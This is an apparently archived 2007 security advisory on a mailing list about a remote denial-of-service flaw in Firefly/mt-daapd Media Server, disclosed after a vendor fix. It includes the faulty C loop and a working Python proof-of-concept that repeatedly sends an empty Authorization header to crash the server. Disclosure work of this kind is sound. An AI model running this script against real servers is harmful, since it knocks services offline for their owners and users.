[UPH-07-02] Firefly Media Server DoS Nov 02 2007 05:57PM
nnp (version5 gmail com)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[UPH-07-02]
UnprotectedHex.com security advisory [07-02]
Discovered by nnp

Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007

Vulnerability class : Remote DoS

Affected product : mt-dappd/Firefly Media Server
Version : <= 0.2.4

Product details:
www.fireflymediaserver.org/
'''
The purpose of this project is built the best server software to serve
digital music to the Roku Soundbridge and iTunes; to be able to serve
the widest variety of digital music content over the widest range of
devices
'''

File/Function/line : webserver.c/ws_decodepassword/1399

Cause: Null pointer dereference. There is an unchecked increment of
the 'header' variable until a space character is encountered. If a
space character is not encountered the pointer is
incremented/dereferenced until out of bounds memory is hit. Exploiting
this depends on the state of memory at the time so the exploit
constantly sends a header with no data as part of the authorization
header until a crash occurs. This typically occurs within seconds.

/* xlat table is initialized */
while(*header != ' ')
header++;

Proof of concept code : Yes

- --
http://www.smashthestack.org
http://www.unprotectedhex.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (Darwin)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHK8ZtbP10WPHfgnQRAmoEAJ9/4/wA4JFgjNta3Y0ScFL2KP5UEQCfbG03
NdzP+J8eSx+Q08/hX/ZzCSY=
=Ga2w
-----END PGP SIGNATURE-----
#!C:\python25\python25.exe

"""
Advisory : [UPH-07-02]

mt-dappd/Firefly media server remote DoS
Discovered by nnp
http://www.unprotectedhex.com

"""

import sys

import socket

import time

if len(sys.argv) != 3:

sys.exit(-1)

kill_msg = """GET /xml-rpc?method=stats HTTP/1.1\r\n

Authorization:\r\n\r\n"""

host = sys.argv[1]

port = sys.argv[2]

print '[+] Host : ' + host

print '[+] Port : ' + port

print "[+] Sending "

print kill_msg

ctr = 1

while 1:

print '[+] Ctr : ' + str(ctr)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, int(port)))

s.send(kill_msg)

s.close()

ctr += 1

[UPH-07-02]
UnprotectedHex.com security advisory [07-02]
Discovered by nnp

Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007

Vulnerability class : Remote DoS

Affected product : mt-dappd/Firefly Media Server
Version : <= 0.2.4

Product details:
www.fireflymediaserver.org/
'''
The purpose of this project is built the best server software to serve digital music to the Roku Soundbridge and iTunes; to be able to serve the widest variety of digital music content over the widest range of devices
'''

File/Function/line : webserver.c/ws_decodepassword/1399

Cause: Null pointer dereference. There is an unchecked increment of the 'header' variable until a space character is encountered. If a space character is not encountered the pointer is incremented/dereferenced until out of bounds memory is hit. Exploiting this depends on the state of memory at the time so the exploit constantly sends a header with no data as part of the authorization header until a crash occurs. This typically occurs within seconds.

/* xlat table is initialized */
while(*header != ' ')
header++;

Proof of concept code : Yes

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus